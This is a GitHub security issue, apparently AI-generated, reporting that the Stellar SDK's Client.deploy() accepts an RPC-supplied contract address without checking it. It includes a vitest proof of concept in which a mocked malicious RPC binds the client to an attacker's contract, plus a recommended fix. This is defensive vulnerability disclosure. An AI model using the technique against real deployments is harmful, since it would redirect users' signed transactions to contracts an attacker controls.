Skip to content

[AI Security] High: Client.deploy() trusts RPC returnValue for deployed contract address without verification #1366

@sagpatil

Description

@sagpatil

Security Finding: Client.deploy() Trusts RPC Return Value for the Deployed Contract Address

Subsystem: contract
Severity: High
Model: claude-sonnet-4.6

Impact

A malicious RPC can bind the returned Client to an attacker-controlled contract, causing later signed method calls to target the wrong contract persistently.

Root Cause

Client.deploy() builds a deterministic createCustomContract operation from the deployer address, network passphrase, and salt, but the returned Client does not use that deterministic address. Instead, parseResultXdr constructs the new Client from Address.fromScVal(result).toString(), where result comes from the RPC server's getTransaction().returnValue via SentTransaction.result.

Because the SDK already has enough local information to derive the expected contract ID, accepting the RPC's returned address without recomputing or verifying it lets an attacker replace the deployed contract identity with an arbitrary compatible contract.

Relevant code paths:

  • src/contract/client.ts:67-91Client.deploy() and parseResultXdr callback
  • src/contract/sent_transaction.ts:134-141SentTransaction.result from returnValue
  • src/contract/assembled_transaction.ts:561-568parseResultXdr invocation

Attack Vector

An attacker controls the Soroban RPC endpoint used during deployment. The user deploys a contract and signs the correct createCustomContract transaction. When the SDK later polls getTransaction(), the malicious RPC returns a successful returnValue containing an attacker-controlled contract address instead of the deterministic address created by the signed deployment.

Client.deploy() then returns a Client permanently configured with that attacker-controlled contractId. Subsequent method calls on that Client assemble and sign transactions for the attacker's contract, even if the caller later switches to an honest RPC endpoint.

PoC Code

Full PoC Test
import { afterEach, describe, expect, it, vi } from "vitest";

import { StellarSdk } from "../test-utils/stellar-sdk-import";

const { Address, Account, Keypair, Networks, StrKey, contract, xdr } =
  StellarSdk;

function buildSpecWasm(specEntries: any[]): Buffer {
  const specStream = Buffer.concat(specEntries.map((entry) => entry.toXDR()));
  const sectionName = Buffer.from("contractspecv0", "utf8");
  const sectionPayload = Buffer.concat([
    encodeLeb128(sectionName.length),
    sectionName,
    specStream,
  ]);

  return Buffer.concat([
    Buffer.from([0x00, 0x61, 0x73, 0x6d]),
    Buffer.from([0x01, 0x00, 0x00, 0x00]),
    Buffer.from([0x00]),
    encodeLeb128(sectionPayload.length),
    sectionPayload,
  ]);
}

function encodeLeb128(value: number): Buffer {
  const bytes: number[] = [];
  let remaining = value >>> 0;

  do {
    let byte = remaining & 0x7f;
    remaining >>>= 7;
    if (remaining > 0) byte |= 0x80;
    bytes.push(byte);
  } while (remaining > 0);

  return Buffer.from(bytes);
}

function createSpec() {
  return [
    xdr.ScSpecEntry.scSpecEntryFunctionV0(
      new xdr.ScSpecFunctionV0({
        doc: "",
        name: "increment",
        inputs: [],
        outputs: [xdr.ScSpecTypeDef.scSpecTypeU32()],
      }),
    ),
  ];
}

function deriveExpectedContractId({
  networkPassphrase,
  deployer,
  salt,
}: {
  networkPassphrase: string;
  deployer: string;
  salt: Buffer;
}) {
  const networkId = StellarSdk.hash(Buffer.from(networkPassphrase));
  const preimage = xdr.HashIdPreimage.envelopeTypeContractId(
    new xdr.HashIdPreimageContractId({
      networkId,
      contractIdPreimage: xdr.ContractIdPreimage.contractIdPreimageFromAddress(
        new xdr.ContractIdPreimageFromAddress({
          address: Address.fromString(deployer).toScAddress(),
          salt,
        }),
      ),
    }),
  );

  return StrKey.encodeContract(StellarSdk.hash(preimage.toXDR()));
}

describe("Security PoC - deploy result address not verified", () => {
  const networkPassphrase = Networks.TESTNET;
  const rpcUrl = "https://malicious-rpc.example";
  const deployer = Keypair.random();
  const wallet = contract.basicNodeSigner(deployer, networkPassphrase);
  const salt = Buffer.alloc(32, 7);
  const wasmHash = Buffer.alloc(32, 3);
  const attackerContractId = Keypair.random().rawPublicKey();
  const attackerContractAddress = Address.contract(attackerContractId).toString();
  const sourceAccount = new Account(deployer.publicKey(), "123");
  const wasm = buildSpecWasm(createSpec());

  const getContractWasmByHash = vi.fn(async () => wasm);
  const getAccount = vi.fn(async () => sourceAccount);
  const simulateTransaction = vi.fn(async () => ({
    id: `simulate-${simulateTransaction.mock.calls.length + 1}`,
    latestLedger: 123,
    events: [],
    _parsed: true,
    minResourceFee: "100",
    transactionData: new StellarSdk.SorobanDataBuilder(),
    result: {
      retval:
        simulateTransaction.mock.calls.length === 0
          ? new Address(attackerContractAddress).toScVal()
          : xdr.ScVal.scvU32(1),
    },
  }));
  const sendTransaction = vi.fn(async () => ({
    status: "PENDING",
    hash: "deadbeef",
    latestLedger: 123,
    latestLedgerCloseTime: 123,
  }));
  const getTransaction = vi.fn(async () => ({
    status: StellarSdk.rpc.Api.GetTransactionStatus.SUCCESS,
    txHash: "deadbeef",
    latestLedger: 124,
    latestLedgerCloseTime: 124,
    oldestLedger: 120,
    oldestLedgerCloseTime: 120,
    returnValue: new Address(attackerContractAddress).toScVal(),
  }));

  afterEach(() => {
    vi.restoreAllMocks();
  });

  it("returns a client bound to attacker-controlled contract ID and uses it for later calls", async () => {
    vi.spyOn(
      StellarSdk.rpc.Server.prototype,
      "getContractWasmByHash",
    ).mockImplementation(getContractWasmByHash);

    const mockServer = {
      getAccount,
      simulateTransaction,
      sendTransaction,
      getTransaction,
    } as any;

    const deployTx = await contract.Client.deploy(null, {
      rpcUrl,
      allowHttp: true,
      networkPassphrase,
      publicKey: deployer.publicKey(),
      wasmHash,
      salt,
      server: mockServer,
      ...wallet,
    });

    const sent = await deployTx.signAndSend({ force: true });
    const deployedClient = sent.result as any;

    const expectedContractId = deriveExpectedContractId({
      networkPassphrase,
      deployer: deployer.publicKey(),
      salt,
    });

    expect(deployedClient.options.contractId).toBe(attackerContractAddress);
    expect(deployedClient.options.contractId).not.toBe(expectedContractId);

    const followUpTx = await deployedClient.increment();
    const invokeArgs = followUpTx.built
      .toEnvelope()
      .v1()
      .tx()
      .operations()[0]
      .body()
      .invokeHostFunctionOp()
      .hostFunction()
      .invokeContract();

    expect(Address.fromScAddress(invokeArgs.contractAddress()).toString()).toBe(
      attackerContractAddress,
    );
    expect(Address.fromScAddress(invokeArgs.contractAddress()).toString()).not.toBe(
      expectedContractId,
    );
  });
});

Recommendation

Do not seed the returned deployed Client from the RPC's returnValue alone. Instead, derive the expected contract ID locally from the effective createCustomContract preimage actually signed by the user, and either:

  1. use that deterministic ID directly for the returned Client, or
  2. compare it against the RPC-provided returnValue and reject any mismatch.

If the caller omitted salt, capture the effective salt used in the deployment operation before submission so the deterministic recomputation still uses the real signed preimage rather than an optional input copy.

Metadata

Metadata

Assignees

No one assigned

    Labels

    ai-generatedGenerated by AI security analysis pipelinesecuritySecurity vulnerability or concern

    Type

    No type

    Projects

    Status

    Backlog (Not Ready)

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions